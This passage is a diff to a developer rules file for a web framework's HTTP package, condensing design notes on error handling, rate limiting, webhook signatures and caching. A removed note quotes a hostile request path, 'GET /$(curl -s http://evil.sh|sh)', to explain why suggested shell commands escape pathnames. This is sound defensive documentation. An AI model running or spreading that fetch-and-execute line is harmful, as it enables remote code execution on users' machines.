- for either value is `configureTime({ defaultZone })` / `defineCatalogs({ default })`, never a
400
- third copy in `HttpConfig`.
401
- - **`toBucket` lives here, not in `@ultimat3/action`.** `action` and `query` are the same tier and
402
- can never import each other, so the only conversion between `{ limit, windowMs }` and a `Bucket`
403
- sitting in one of them is why a `query` could not declare a rate limit at all. It is beside
404
- `Bucket` and the maths it validates, and it throws http's own `X_RATE_LIMIT_INVALID`.
405
- - **`ERROR_STATUS`'s keys are LITERAL, not an index signature** (`As of 2026-08-19`). The
406
- annotation was `Readonly<Record<string, number>>`, which made `ERROR_STATUS.X_QUERY_NOT_PAGABLE`
407
- a legal read answering `undefined` — a mistyped row in the one table the framework's whole error
408
- contract rests on. It is now an object literal `satisfies Readonly<Record<string, number>>`, so a
409
- typo is a compile error; `error-map.test.ts` pins that with a `@ts-expect-error`. Read it by a
410
- code the framework did not mint through `statusFor()`, which goes via the file-local `BY_CODE`
411
- view and keeps `Object.hasOwn`.
412
- - **A problem document's `type` and its `docs` are two different questions, `As of 2026-08-23`.**
413
- Both used to be `https://ultimate.dev/errors/<code>` — one string, twice, and a host that
414
- answers **404** on every 4xx and 5xx this package has ever rendered. `docs` is now core's
415
- `ERROR_DOCS_URL`, one wiki page for every code, and it is never spelled here: a construction site
416
- omits `docs:` and `UltimateError` resolves it. `type` did NOT follow it there. It is RFC 9457's
417
- primary identifier for the problem KIND — a client switches on it — so collapsing it onto one
418
- page would have given a 422 and a 403 the same identifier. `problemTypeFor(code)` answers
419
- `urn:ultimate:error:<CODE>`: per code, stable, and a URN has no host to rot. `finalize.ts`'s
420
- `lastResort` spells its one `type` as a literal because that function calls nothing, and
421
- `pipeline-finalize.test.ts` pins the literal against `problemTypeFor('X_INTERNAL')` so the two
422
- cannot drift. Never assert either value as a copied string — import the constant.
423
- - **`error-map.ts` answers the status; `error-facts.ts` renders the throwable** (`As of
424
- 2026-08-24`). One file did both and reached 501 lines, over the ceiling. The seam between
425
- them is `declaredStatusFor(code)` — `number | undefined`, exported to this package only —
426
- because the two questions are genuinely different: `statusFor` always answers a number, while
427
- "did ANYBODY classify this code" is what decides whether a 5xx may carry the throwable's own
428
- words back to the caller (`isUnclassifiedFailure`). Imports go one way, `error-facts.ts` →
429
- `error-map.ts`; a status read from the facts file would be the second table this package
430
- spent a release deleting.
431
- - Statuses live in `error-map.ts` only. No other file writes a status number. The framework's
432
- table (`ERROR_STATUS`) is closed; an app declares its own codes' statuses with
433
- `registerErrorStatus()`, which refuses a code the framework already holds. Without that half,
434
- every app code was 500 and `pipeline.ts` paged the on-call for a wrong password. There is
435
- deliberately **no projection of the app's half**: `appErrorStatus()` was exported for "`x errors
436
- list` and the manifest" and neither ever called it (deleted 2026-08). It could not have worked —
437
- `APP_ERROR_STATUS` is process-global runtime state filled by the app's own imports, while both
438
- named surfaces are build artefacts derived from source, so in a CLI process it answers `{}`.
439
- Wiring one means deriving it from source, not re-exporting the map.
440
- - **A handler's own `Response.status` is never rewritten.** `error-map.ts` answers the status of a
441
- THROW; a status a handler chose — `html(page, { status: 404 })`, which is what a page route's
442
- `withStatus(404, data)` in `@ultimat3/render` becomes — passes through every stage as written,
443
- body included, in dev and in production. `pipeline-handler-status.test.ts` pins it, because the
444
- render seam is only true while this is: ai-maxxing's `/fleet/nope` answered 200 for as long as
445
- the only way to a 404 was the error page, outside the app's shell.
446
- - **The context carries the inbound headers, never the `Request`.** `ctx.requestHeaders` is set
447
- once at construction; `useRequestHeader` / `useRequestCookie` are what app code reads, and
448
- `UltimateRequest.cookie()` is what `hooks.authenticate` reads. A `Request` on the context is a
449
- second body reader past the size cap, the content-type parse and the cache.
450
- - **`hooks.authenticate` has one declaration site: `configureAuthenticator()`.** A single value,
451
- not a list — two answers to "who is this?" is two identities per request. `@ultimat3/auth` is
452
- the same tier and can never import this package, so the app is what wires them together.
453
- - **`hooks.devNotices` is dev-only, and the overlay path is the only place it is called.**
454
- `OverlayNotice` is declared structurally in `overlay.ts` because the packages that produce one
455
- — `@ultimat3/entity`'s N+1 codes, reported by `x dev` — are this tier or above and can never be
456
- imported here, exactly as `AuthzDecision` is. The call sits INSIDE the
457
- `config.dev && wantsOverlay` branch: the overlay is a notice's only surface, so a production
458
- process, or an agent that asked for problem+json, must not pay a diagnostic's per-request cost
459
- for findings nothing renders. No notices means no card, byte for byte.
460
- - **`matchRoute` never throws — a pathname is whatever the client typed.** `decodeURIComponent`
461
- is called only through `router.ts`'s guarded `decodeSegment`, and a segment that will not decode
462
- answers `{ reason: 'path-invalid', segment }` → `X_PATH_INVALID` → 400. A bare `URIError` here
463
- reached `factsOf` as `X_INTERNAL`, so a `%ZZ` answered 500 and paged the on-call for a typo.
464
- Only the branch that would have decoded fails: static segments are compared raw, so a path that
465
- reaches no param or wildcard is still a 404 and precedence is unchanged.
466
- - **`handle()` resolves to a Response or the server has no answer at all.** The request phases are
467
- guarded by `execute`'s own `try`; the two that run after them are guarded in `finalize.ts`, and
468
- neither guard is optional. A finalize stage that refuses the response it was handed degrades to
469
- `X_PIPELINE_FINALIZE_FAILED` (500), and the chain runs a **second** pass over that problem
470
- document — whose headers are writable — so the request id, CORS and the security headers still
471
- reach the client. Two passes, never a loop. A throw inside the recover stage (an app's `onError`,
472
- a `devNotices` producer) is answered with the problem document for the error the request actually
473
- hit: the stage that renders a throw has nothing left to render its own. Every degraded answer goes
474
- *through* the recover stage, never around it — reporting, logging and the overlay each keep one
475
- call site.
476
- - **Both guards in that tail are TOTAL against a throwable that fights being read** (`As of
477
- 2026-08`). `recoverWith`'s catch built its log line with `String(failure)`, which is itself a
478
- `TypeError` on a null-prototype object — thrown out of the one guard documented "never throws, by
479
- construction", from the frame with nothing above it. It is a log FIELD now, the same rule the
480
- `error-map` stage already follows, and `logger.emit` degrades a hostile field per key. The second
481
- half is `factsOf`: it read `record['code']` directly, and that read is a getter call or a
482
- `Proxy`'s `get` trap on a value the framework did not build — so a handler throwing one took the
483
- recover stage AND the `problem()` the guard degrades to, and `handle()` rejected. Every field
484
- comes off the throwable through core's `stringField`. Never spell either read inline again:
485
- `String(x)`, `${x}` and a bare property read on a caught value are all the same defect, and
486
- `error-render.ts` names seven prior instances.
487
- - **A table keyed by a `code` is read with `Object.hasOwn`, never `[code] !== undefined`** (`As of
488
- 2026-08`). `code` is a string off a throwable this package did not build, so `ERROR_STATUS` and
489
- `HTTP_ERROR_TITLES` — object literals, and therefore holders of every name on
490
- `Object.prototype` — answered `'toString'`, `'constructor'`, `'valueOf'` and `'hasOwnProperty'`
491
- with a FUNCTION. `statusFor` handed that to `new Response(body, { status })`, a `RangeError`
492
- raised inside `recoverWith`'s fallback, and `handle()` rejected: the same defect class as the
493
- reads above, arriving through a lookup instead of a property. `registerErrorStatus` had the third
494
- copy, refusing an app code named `toString` with a cause reading `the framework already maps it
495
- to function toString() { [native code] }`. `scripts/error-map.ts` reads this table correctly and
496
- always has. `APP_ERROR_STATUS` is a `Map`, which is why it never had the bug — prefer one for
497
- anything keyed by a value a caller chose.
498
- - **`recoverWith`'s fallback is INSIDE its `try`.** `return problem(ctx.error, …)` sat beside the
499
- guard, so the file whose one promise is "never throws, by construction" rested on every reader
500
- below that line being total. The degraded answer is a literal `problem+json` document naming
501
- `X_INTERNAL`, built with no call that could fail in turn, and the renderer's own failure goes to
502
- the log as `pipeline.problem_failed` — a last resort sharing a code path with what just broke is
503
- not one.
504
- - **One request spends a LIST of rate-limit keys, and the tenant's is the second** (`As of
505
- 2026-08-24`). `rateLimitKey` picked ONE subject — actor > org > ip, exclusive — and `actorView`
506
- answers `null` for anonymous, so `orgId` was consulted only for a caller with an org and no id:
507
- **no authenticated request ever touched an org bucket**. A tenant with 8,000 seats whose
508
- integration entered a retry loop therefore took 8,000 × the per-actor burst against one shared
509
- pool, every bucket inside its own limit, and no number an operator could set would have refused
510
- it — while `@ultimat3/jobs` has had `perTenant` since it shipped. `rateLimitSpends` answers the
511
- caller's key **and** `tenant|org:<id>` when the app declared `rateLimit.tenantBucket`; the stage
512
- spends them in order and stops at the first refusal, so a caller its own bucket already refused
513
- costs its tenant nothing. The tenant key is deliberately NOT scoped to the route — a per-route
514
- tenant bucket is the same number multiplied by the route table, which is not a cap. `null` is
515
- the default because one tenant is a person and the next is five thousand seats (axiom 8), and a
516
- name nothing declares is `X_RATE_LIMIT_TENANT_BUCKET_UNKNOWN` at `defineHttpConfig`, never a
517
- silent fall-through to `default`. The headers report the bucket **closest to refusing**: telling
518
- a client `remaining: 99` off its own bucket while its tenant's holds 2 is a number that plans a
519
- caller into a 429.
520
- - **The memory rate-limit store is bounded, and the eviction order is part of the guarantee.**
521
- The key falls back to the connection address (`rateLimitSpends`), so a scan rotating through an
522
- IPv6 /64 mints one entry per request — an unbounded map hands the flood the process. Every
523
- entry carries `forgetAtMs`, the instant a refilled bucket becomes indistinguishable from a
524
- missing one, and the sweep drops those for free. `DEFAULT_MAX_RATE_LIMIT_KEYS` is the backstop,
525
- and it evicts the entries **closest to full** first: throwing away a spent bucket is a free
526
- reset for whoever spent it, so the most-throttled key is the last one to go. Never swap that
527
- comparator for insertion order or an LRU — recency is not the same as worthlessness here.
528
- - **The limiter takes a `Clock`; `Date.now()` is not read here** (`As of 2026-08-19`). `rate-limit.ts`
529
- read it inline while BOTH production call sites (`server.ts`, `pipeline.ts`) built their limiter
530
- with no override, so the bucket maths that decides whether a caller is throttled could not be
531
- frozen by any test — while `@ultimat3/auth`'s credential limiter has taken an injected `Clock`
532
- since it shipped. `createRateLimiter({ clock })` defaults to `systemClock`, the same shape as
533
- `createRequestContext`'s `init.clock`. Deliberately NOT a `clock` on `PipelineDeps`:
534
- `deps.limiter` is already the one seam for handing the pipeline a limiter you built, and a second
535
- entry point for one number is axiom 1.
536
- - **Where the limiter's counters live is DECLARED by the app, never inferred, and refused at
537
- boot — and there is no default.** `DEFAULT_RATE_LIMIT` carries no `scope`, so
538
- `resolveRateLimitConfig` refuses `X_RATE_LIMIT_SCOPE_UNSET` at `defineHttpConfig` when a limiter
539
- that is ENABLED has not been told. `'process'` used to be the default, which made "nobody asked"
540
- and "the app said one replica" the same value while `docker/helm/values.yaml` runs three — so
541
- `assertRateLimitScope` below, which only fires on a `'shared'` declaration, could never see the
542
- silent case. A disabled limiter owes no declaration: nothing is enforced, so nothing can be
543
- wrong. The rest of the check is unchanged: `RateLimitStore.scope` says what a driver provides; `config.rateLimit.scope` says what
544
- the deployment requires; `assertRateLimitScope` compares them once, inside `createPipeline` —
545
- the one construction path `createServer`, the tests and any embedder all share. `'shared'` over
546
- a per-process store is `X_RATE_LIMIT_NOT_SHARED` before the socket opens, because the failure it
547
- replaces is silent: the limiter's counters are **per process**, and `docker/helm/values.yaml`
548
- runs `roles.web.replicas: 3` before its HPA has said anything, so every configured bucket was
549
- being enforced three times over with a green `x verify`. Nothing here reads the
550
- environment to guess a replica count — an app that scales is the only thing that knows. The
551
- supported way to install one is `createServer({ rateLimitStore })`, which builds the limiter
552
- through `createRateLimiter` and hands it to the `PipelineDeps.limiter` seam that already
553
- existed; never add a second limiter entry point beside it.
554
- - **The shared store is `postgresRateLimitStore({ executor })`, and it is what makes
555
- `scope: 'shared'` satisfiable** (`As of 2026-08`). Before it, `assertRateLimitScope` refused
556
- every store the framework shipped, so the declaration required by a chart with `replicas: 3` had no
557
- answer. `PgExecutor` is declared STRUCTURALLY here, exactly as `@ultimat3/action`'s idempotency
558
- store declares it: this package has no `@ultimat3/db` dependency, and taking one to type a single
559
- method would put the database package in http's install graph. The refill expression is repeated
560
- four times inside `on conflict do update` **on purpose** — only a direct `x_rate_limit.<column>`
561
- reference reads the row as it is after the lock, so a CTE computing it once would compute from
562
- the statement's own snapshot and lose a concurrent spend. `spent` is a stored column because the
563
- token count alone cannot tell a take that landed at 0.5 from a refusal with 0.5 left, and the
564
- invented answer would be "allowed". `purgeExpired(nowMs)` takes the CALLER's clock and never
565
- `now()`: `last_ms` is written from the caller's, so measuring against the server's reads the
566
- offset between the two as refill and deletes buckets a throttled caller is still sitting in.
567
- - **A bucket a route names is a bucket something must register.** `meta.rateLimit` selects by
568
- name and `meta.rateLimitBucket` carries the numbers; `withRouteBuckets` (`rate-limit-buckets.ts`)
569
- merges them into `config.rateLimit.buckets` at construction, in `createServer` and again in
570
- `createPipeline` — idempotently, since the store-backed limiter is built from the merged config
571
- and `bucketFor` must see the same table the pipeline does. It has to happen there: routes do not
572
- exist when `defineHttpConfig` builds the table, so a name declared and never registered fell
573
- through to `default` — an action declaring `limit: 5` ran on 120 burst while its OpenAPI
574
- operation published 5. **Precedence is refusal, not a winner.** An identical restatement passes;
575
- any disagreement, with the config or with another route, is `X_RATE_LIMIT_BUCKET_CONFLICT` before
576
- the socket opens — the same shape as `assertRateLimitScope` and as `@ultimat3/auth`'s
577
- `AuthLimiter` policy check, and for the same reason: the declaration that lost would go on being
578
- read as enforced. Never make one side the default winner.
579
- - **Registering into the config is only half of it — the installed LIMITER must hold the bucket
580
- too.** `createRateLimiter` closes over its config, so a limiter handed to `PipelineDeps.limiter`
581
- resolves names against the table it was built with; one built before the routes existed misses
582
- the route's name, falls through `bucketFor` to `default`, and was measured at 120 burst and 21
583
- of 21 requests allowed for a route declaring 5. `RateLimiter.buckets` publishes that table —
584
- declared, never inferred, exactly as `RateLimitStore.scope` is — and `assertRouteBuckets` runs
585
- beside `assertRateLimitScope` in `createPipeline`. **Refused, never rebound**: a `RateLimiter`
586
- is opaque, so rebinding means discarding the caller's limiter and the store it carries, and a
587
- caller who built their own may have meant their own numbers. A limiter that declares no table
588
- is refused too — what cannot be shown to hold is not assumed to hold.
589
- - **`verifyWebhookSignature` is a FUNCTION, never a pipeline stage** (`As of 2026-08-24`). The
590
- secret is per SENDER, and only the route knows which sender it is serving; a stage would need one
591
- secret for the whole app or a table this package has no business holding. It reads the body
592
- through core's `readWithinLimit` — the same counting reader `UltimateRequest.#read` uses — so it
593
- composes with the cap rather than defeating it, and it answers the raw text so the caller parses
594
- the bytes that were signed rather than a re-serialisation of them.
595
-
596
- The order inside it is load-bearing: the mac is checked BEFORE the freshness window, so
597
- `X_WEBHOOK_SIGNATURE_STALE` means *authentic and old* and never *unreadable and old* — an
598
- operator reading it goes to a clock or a replay, which is the only reason the second code exists.
599
- The window is `Math.abs`, both directions: a sender whose clock runs ahead is the same replay
600
- window pointed the other way, and accepting the future half doubles it. The timestamp is parsed
601
- digits-only because `Number('nope')` is `NaN` and `NaN > toleranceMs` is FALSE — the one guard
602
- whose failure mode is "the check does not run". `:` is refused in the id and the topic because
603
- one mac over `v1:t:evt:01HZ:orders.paid:<body>` would otherwise authenticate two different
604
- id/topic splits. The comparison is `timingSafeEqual` and may never become `===`; `bun run
605
- secret-compare` is the mechanical half and `mac`/`signature` are names it reads.
606
-
607
- **The FORMAT is `@ultimat3/core`'s and is not re-declared here** (`As of 2026-08-24`).
608
- `packages/core/src/webhook-signature.ts` owns the canonical string, the mac and the parse;
609
- this file owns the POLICY — what counts as fresh, how large a body may be, and which refusal a
610
- receiver answers with. It shipped for one release as two implementations, here and in
611
- `@ultimat3/jobs`, held together by a hex literal asserted in two test files: this package is
612
- tier 2 and may not reach tier 3, that one's boundary forbids `http`, so the one copy lives at
613
- the tier both can reach — the argument `timing-safe-equal.ts` makes for itself. The two literal
614
- vectors stay until `scripts/webhook-round-trip.test.ts` replaces them. **Never re-declare the
615
- canonical string here.**
616
- - Never throw a bare `Error` — use a factory from `errors.ts`.
617
- - No `any`. Validation goes through Standard Schema (`validate.ts`), not a vendor API.
618
- - Health endpoints answer outside the pipeline, on purpose.
619
- - **Lifecycle belongs to core.** `server.ts` uses `beginWork()`, `markReady()`,
620
- `drain()` and `healthzPayload()`/`readyzPayload()`. Never keep a private `state` or
621
- in-flight counter — core waits on work it does not know about, so a private counter
622
- hangs every deploy at the `inflight` phase.
623
- - **`stop()` hands its two hooks back ABOVE its early return** (`As of 2026-09`). The `close` hook
624
- sets `server = undefined`, so on the SIGTERM path `if (server === undefined) return` skipped the
625
- `unregister?.()` pair in the `finally` — for exactly the path production takes. Every later
626
- `stop()` (a test teardown, `x dev`'s role rollback) left both registrations pointing at a socket
627
- that was already gone, and `shutdownHookCount()` — the probe `packages/core/CLAUDE.md` names for
628
- this leak — climbed by two per server per lifecycle. `packages/http/e2e/server.e2e.test.ts` reads
629
- that probe now; the shape is `@ultimat3/jobs`' worker teardown, where the release is the
630
- closure's business and never the drain's.
631
- - **A pathname reaching a `fix:` goes through `renderFixShellArg`** (`As of 2026-09`).
632
- `routeNotFound`'s fix is `x g route <path>`, a command, and the path is whatever an anonymous
633
- caller typed: `GET /$(curl -s http://evil.sh|sh)` rendered that substitution verbatim into the
634
- line the framework tells its reader to paste. The value still travels in the `cause`, which is
635
- read rather than run. `renderFixLiteral` does not cover this — its double quotes leave `$(…)`
636
- live in every POSIX shell.
637
- **A `code` is gated instead of screened** (`As of 2026-09-06`): `factsOf`'s fallback `fix:` is
638
- `x errors explain <code> --json`, and `code` is a string field off a throwable this package did
639
- not build — a worker message, a WebSocket frame, an app's own object — so it goes through core's
640
- `FRAMEWORK_CODE`, never `startsWith('X_')`. A value that is not a code answers nothing anyway,
641
- so the honest command is `x errors list --json`. Same gate, same reason, as `@ultimat3/mcp`'s
642
- `server.ts`; the value still travels in `facts.code`.
643
- **And a SUPPLIED `fix:` is taken only from a BRANDED framework error** (`As of 2026-09-06`). The
644
- gate above screens the code this package renders INTO a command; this one screens a whole command
645
- a throwable handed over. `factsOf` normalises a worker message, a WebSocket frame and any app
646
- object, so a foreign `fix` is remote text landing in the line an operator is told to paste, and a
647
- framework code beside it makes the line read as the framework's own — `isUltimateError`, and
648
- nothing else, is what says the value went through `renderFixShellArg` and this tree's gate. An
649
- error that crossed a wire and lost its brand falls to the generated line, which is honest. The
650
- `cause` still travels: a cause is read, never run.
651
- - **Borrowed error codes are never titled or registered here.** `X_FORBIDDEN` is policy's,
652
- `X_UNAUTHENTICATED` is auth's; both sit in `HTTP_BORROWED_ERROR_CODES`, which carries codes
653
- only. `HTTP_ERROR_TITLES` holds owned codes, and `registerErrorCodes` takes it whole and
654
- unguarded — declaring a borrowed one throws `X_ERROR_CODE_DUPLICATE` at import, which is the
655
- point. `factsOf` therefore reads a borrowed code's title off the error itself, never the map.
656
- - **A `cache-control` age is delta-seconds or it is DROPPED, never emitted** (`As of 2026-08-26`).
657
- `finiteDeltaSeconds` in `response.ts` — `Number.isSafeInteger && >= 0`, per field. `max-age=NaN`
658
- is not a shorter age, it is an unparseable directive a conforming cache IGNORES, so the response
659
- fell back to heuristic caching rather than to the declared age. TOTAL, never a throw: this is the
660
- response path, and a bad cache hint must not become a 500. Every fallback is the SHORTER
661
- direction — `max-age` to 0, `s-maxage` and `stale-while-revalidate` omitted — so nothing here can
662
- lengthen an age the caller did not ask for. `http.cache_hint_not_delta_seconds` names the field.
663
- **The boot-time half is `route-cache.ts`, `As of 2026-08-26`** — the layered form: refuse where
664
- the value is WRITTEN, be total where it is USED. `createRouter` screens `Route.cache`'s three
665
- delta-seconds fields per route and throws `X_CONFIG_INVALID` naming the route and the key, so
666
- `cache: { maxAgeSeconds: Number(process.env.CACHE_AGE) }` fails at boot instead of registering
667
- cleanly and surfacing as one warn line per request, forever. The two screens must accept exactly
668
- the same set: this one decides what may be DECLARED, `finiteDeltaSeconds` what may be WRITTEN,
669
- and a value one accepts and the other drops is a silent hole between them. **Zero stays legal at
670
- both ends** — `max-age=0` is "revalidate every time" and `PRIVATE_CACHE`, `defaultCache`'s
671
- anonymous hint and the CLI's authorized-object hint all declare it. `ctx.cache` is NOT screened
672
- and must not be: it is app-set per request at runtime, which is the total side by definition.
673
- - Tests must not touch the network — the preload seals `fetch`. Socket tests live in
674
- `e2e/` and run with `bun test packages/http/e2e`, sealed: `start()` calls core's
675
- `markListening()`, so the seal treats our own port as self, not egress. Never unseal.
24
+ - **An app declares its half of `HttpConfig` through `configureHttp()`**, and the boot lays its own
25
+ facts over it. `AppHttpConfig` is `Omit<HttpConfigInput, BootOwnedHttpKey>` — derived, so a
26
+ boot-owned key (`port`, `hostname`, `dev`, `buildId`, `signInPath`, `trustProxy`,
27
+ `trustedProxyHops`, `rateLimit.scope`) is a type error where an app writes it. `mergeHttpConfig`
28
+ merges `security.csp.extend` per directive. `type-pins.ts` refuses a key on `HttpConfig` missing
29
+ from `HttpConfigInput`.
30
+ - **`config.drainTimeoutMs` defaults to `null`**: `createServer` calls `configureLifecycle({
31
+ deadlineMs })` only when declared. **`ServerOptions.drain`** (`app.config.ts`'s `drain`) passes
32
+ `readinessGraceMs` to core the same way.
33
+ - **`cors.origins: ['*']` with `credentials: true` is `X_CORS_CONFIG_INVALID`.** A refused origin
34
+ still gets `vary: origin`.
35
+ - **A `security.csp.extend` entry must emit only the directive it names**
36
+ (`X_CSP_DIRECTIVE_INVALID`); `buildCsp` builds through a `Map`.
37
+ - **The security headers are built once per `(SecurityConfig, https)`** (`responseSecurityHeaders`, a
38
+ `WeakMap`); a config is never mutated after `defineHttpConfig`. HSTS only when `ctx.https` is affirmed.
39
+
40
+ ## Rules — the context
41
+
42
+ - **`asCtx` is a WIDENING the compiler checks, never a cast** (`RequestContext extends Ctx`;
43
+ `_RequestContextIsACtx` in `type-pins.ts`). `ctx.buildId` is the process's build;
44
+ `ctx.clientBuildId` is the client's claim, read only by `assertBuild()`.
45
+ - **`createRequestContext` COMPOSES `createContext()`** — no assertion in this file, and
46
+ `defineService` factories and the service spread are core's. Services go on FIRST so a service
47
+ named `actor` loses to the request's field (`context.test.ts`).
48
+ - **A request's registered services are LAZY and bound to the authenticated actor**
49
+ (`request-services.ts`, `installServices: false` + `bindRequestServices`): built on first read,
50
+ rebuilt only if actor, locale or tz changed. `request-services.test.ts`.
51
+ - **A member's saved locale and zone apply, re-resolved after `auth`**
52
+ (`resolvePreferences`; cookie beats a saved locale, a saved zone beats the cookie).
53
+ `member-preferences.test.ts`.
54
+ - **The `locale` stage decides WHERE, the owners decide WHAT**: raw strings to `@ultimat3/i18n`'s
55
+ `resolveLocale` and `@ultimat3/time`'s `resolveTimeZone`, landing on core's `ctx.locale`/`ctx.tz`.
56
+ Defaults are `configureTime({ defaultZone })` / `defineCatalogs({ default })`, never `HttpConfig`.
57
+ - **`ctx.actor` is never null** — the `auth` stage turns the hook's `null` into `anonymousActor()`.
58
+ - **The context carries the inbound headers, never the `Request`** (`ctx.requestHeaders`,
59
+ `useRequestHeader` / `useRequestCookie`).
60
+ - **`hooks.authenticate` has one declaration site: `configureAuthenticator()`.**
61
+ - **`hooks.devNotices` is called only inside the `config.dev && wantsOverlay` branch.**
62
+
63
+ ## Rules — the pipeline
64
+
65
+ - **The lifecycle is three files**: `pipeline.ts` owns the ORDER (`PIPELINE_STAGES`, phases, loop,
66
+ ALS, span, the one metrics call); `stages.ts` owns what each stage does and the vocabulary;
67
+ `finalize.ts` owns the tail. Imports go `pipeline.ts` → `stages.ts`; a stage reads
68
+ `StageRunnersInput`, never `PipelineDeps`. A new stage is an entry in both `PIPELINE_STAGES` and the
69
+ `Record<StageName, StageRun>` table, with a `why` and a test.
70
+ - **The two inbound ids are read BEFORE the context and the span** (`correlation.ts`, core's
71
+ `parseTraceparent`). `x-request-id` is gated on `trustProxy`; `traceparent` deliberately is not.
72
+ - **Every proxy-supplied header goes through `forwardedElement(header, hops)`** — the entry at
73
+ `entries.length - hops`, never `[0]`; a short chain trusts nothing. `trustProxy` defaults to false
74
+ and requires `trustedProxyHops`. `x-forwarded-proto` (HSTS) and Envoy XFCC (`peer-identity.ts`) ride
75
+ it; `ctx.peer` is `null` unless trusted and is never an actor.
76
+ - **One deadline per request** (`deadline.ts`): `requestTimeoutMs` (30 s, `0` disables), shortenable
77
+ by `x-request-timeout-ms`, never lengthened. `ctx.signal` is the deadline OR the caller going away
78
+ (`AbortSignal.any` with `Request.signal`); `expired` is the timer's alone. `Deadline.deadlineAt` is
79
+ published as core's `ctx.deadlineAt`, which `traceHeaders()` sends onward. Always `deadline.clear()`
80
+ in the `finally`.
81
+ - **`admit` is the second stage and refuses before ANY work**: past `maxInflight` (1000) is
82
+ `X_OVERLOADED` with `retry-after`, counted by core's `inflightCount()`. **A DRAINING process
83
+ serves** with `connection: close`; only `lifecycleState() === 'stopped'` answers `X_DRAINING`
84
+ (`pipeline-hardening.test.ts`).
85
+ - **`csrf` sits after `auth` and before `body`**: an ambient-credential unsafe request needs
86
+ `sec-fetch-site: same-origin`, an `Origin` equal to this app (from `ctx.https`), or one EXACTLY in
87
+ `cors.origins` (`originListed`, never `allowedOrigin`); else `X_CSRF_BLOCKED` (403). No
88
+ `mode: 'token'`.
89
+ - **`meta.enforcedBy` says who evaluates `meta.policy`**: `'pipeline'` (default) decides via
90
+ `hooks.authorize`; `'handler'` stands the `authz` stage down.
91
+ - **A 403's `fix:` names the POLICY** (`route.meta.policy`), degrading to `x routes --json` for a
92
+ composite.
93
+ - **The body cap is enforced while reading** (`UltimateRequest.#read`'s counting reader, cancelling
94
+ past `bodyLimitBytes`); multipart goes through the same capped bytes.
95
+ - **A repeated field is a LIST in all three parsers** (`collectFields`).
96
+ - **`matchRoute` never throws**: `router.ts`'s `decodeSegment` answers `path-invalid` →
97
+ `X_PATH_INVALID` (400).
98
+ - **`handle()` resolves to a Response or nothing**: request phases are guarded by `execute`, the tail
99
+ by `finalize.ts` — a refusing finalize stage degrades to `X_PIPELINE_FINALIZE_FAILED` with a second
100
+ pass; everything degraded goes THROUGH the recover stage. **Both guards are TOTAL** (`String(x)`
101
+ and bare property reads on a caught value are forbidden; `factsOf` uses core's `stringField`), and
102
+ **`recoverWith`'s fallback is INSIDE its `try`** (a literal `X_INTERNAL` document, logged
103
+ `pipeline.problem_failed`).
104
+ - **`toBucket` lives here** (action and query both need it). **`ERROR_STATUS`'s keys are LITERAL**
105
+ (`satisfies`, pinned by `@ts-expect-error` in `error-map.test.ts`); non-literal codes go through
106
+ `statusFor()` / `BY_CODE` with `Object.hasOwn`. A table keyed by a caller's code is read with
107
+ `Object.hasOwn`, or is a `Map` (`APP_ERROR_STATUS`).
108
+ - **The `cache-headers` stage is the ONE owner of the final cache answer**: `offersSharedCache` turns a
109
+ shared answer for an identified request into `PRIVATE_CACHE` and gives an anonymous one
110
+ `SHARED_CACHE_VARY` (`accept-language, cookie`); `immutable` is left alone. `vary` is added, never
111
+ set (`addVary`).
112
+ - **A `cache-control` age is delta-seconds or DROPPED** (`finiteDeltaSeconds`, total, always the
113
+ shorter direction; logs `http.cache_hint_not_delta_seconds`). Its boot half is `route-cache.ts`:
114
+ `createRouter` refuses a bad `Route.cache` with `X_CONFIG_INVALID`. Both accept the same set; zero
115
+ is legal. `ctx.cache` is not screened.
116
+ - **A handler's own `Response.status` is never rewritten** (`pipeline-handler-status.test.ts`).
117
+ - Health endpoints answer outside the pipeline. **Lifecycle belongs to core** (`beginWork()`,
118
+ `markReady()`, `drain()`, the payloads) — never a private state or in-flight counter.
119
+ - **`stop()` hands its two hooks back ABOVE its early return** (`packages/http/e2e/server.e2e.test.ts`
120
+ reads `shutdownHookCount()`).
121
+
122
+ ## Rules — errors and the problem document
123
+
124
+ - Statuses live in `error-map.ts` only; the framework table is closed and an app declares its codes
125
+ with `registerErrorStatus()` (refuses a framework code). No projection of the app's half.
126
+ **`error-facts.ts` renders the throwable**; the seam is `declaredStatusFor(code)`, imports one way.
127
+ - **A problem's `type` is `problemTypeFor(code)` = `urn:ultimate:error:<CODE>`; its `docs` is core's
128
+ `ERROR_DOCS_URL`.** `finalize.ts`'s `lastResort` literal is pinned against `problemTypeFor('X_INTERNAL')`.
129
+ - **A 5xx cause is withheld unless its code opts in** (`hasPublicCause`, `problem-meta.ts`;
130
+ `registerProblemMeta({ CODE: { publicCause: true } })`). `toProblem(error, { dev })` defaults `dev`
131
+ to false. An unclassified 5xx carries nothing off the throwable.
132
+ - **The document carries the ISSUE LIST** as a top-level `issues` member: `issuesOf` is total,
133
+ all-or-nothing, absent (never `[]`) when none, dropped past `MAX_PROBLEM_ISSUES` (100), dropped under
134
+ the opacity condition; `received` forced to `''`, entries rebuilt member by member.
135
+ - **`meta` reaches the document only by declaration** (`registerProblemMeta({ CODE: [keys] })`, app
136
+ codes only; not `issues`, not `__proto__`): `wireMeta` copies declared keys through
137
+ `Object.defineProperty`, bounded by `MAX_PROBLEM_META_BYTES`, dropped when opaque.
138
+ - **A rejected value is a log FIELD, never the message** — the `error-map` line's message is the code alone.
139
+ - **A rejected BODY names only what the framework chose**: `bodyInvalid`'s `issues` are a fixed
140
+ vocabulary; what the caller sent rides in `meta`; the parser's message goes through `renderThrowable`.
141
+ - **A browser failing `auth: 'required'` is redirected; an agent gets the problem document**
142
+ (`auth-redirect.ts`, in `error-map` before the overlay). `config.signInPath` is `null` until named.
143
+ `nextAfterSignIn` is the ONE `?next=` reader: same-origin paths only, a control character is
144
+ off-site, re-parsed against an unreachable origin, never throws.
145
+ - **A pathname in a `fix:` goes through `renderFixShellArg`** (`routeNotFound`). **A `code` is gated by
146
+ core's `FRAMEWORK_CODE`** before `x errors explain <code>`, else `x errors list --json`. **A supplied
147
+ `fix:` is taken only from a branded error** (`isUltimateError`).
148
+ - **Borrowed codes are never titled or registered here** (`HTTP_BORROWED_ERROR_CODES`: `X_FORBIDDEN`,
149
+ `X_UNAUTHENTICATED`, …); `factsOf` reads a borrowed code's title off the error.
150
+ - Never throw a bare `Error` — use a factory from `errors.ts`. No `any`. Validation goes through
151
+ Standard Schema (`validate.ts`).
152
+
153
+ ## Rules — rate limiting
154
+
155
+ - **One request spends a LIST of keys**: the caller's and, when `rateLimit.tenantBucket` is declared,
156
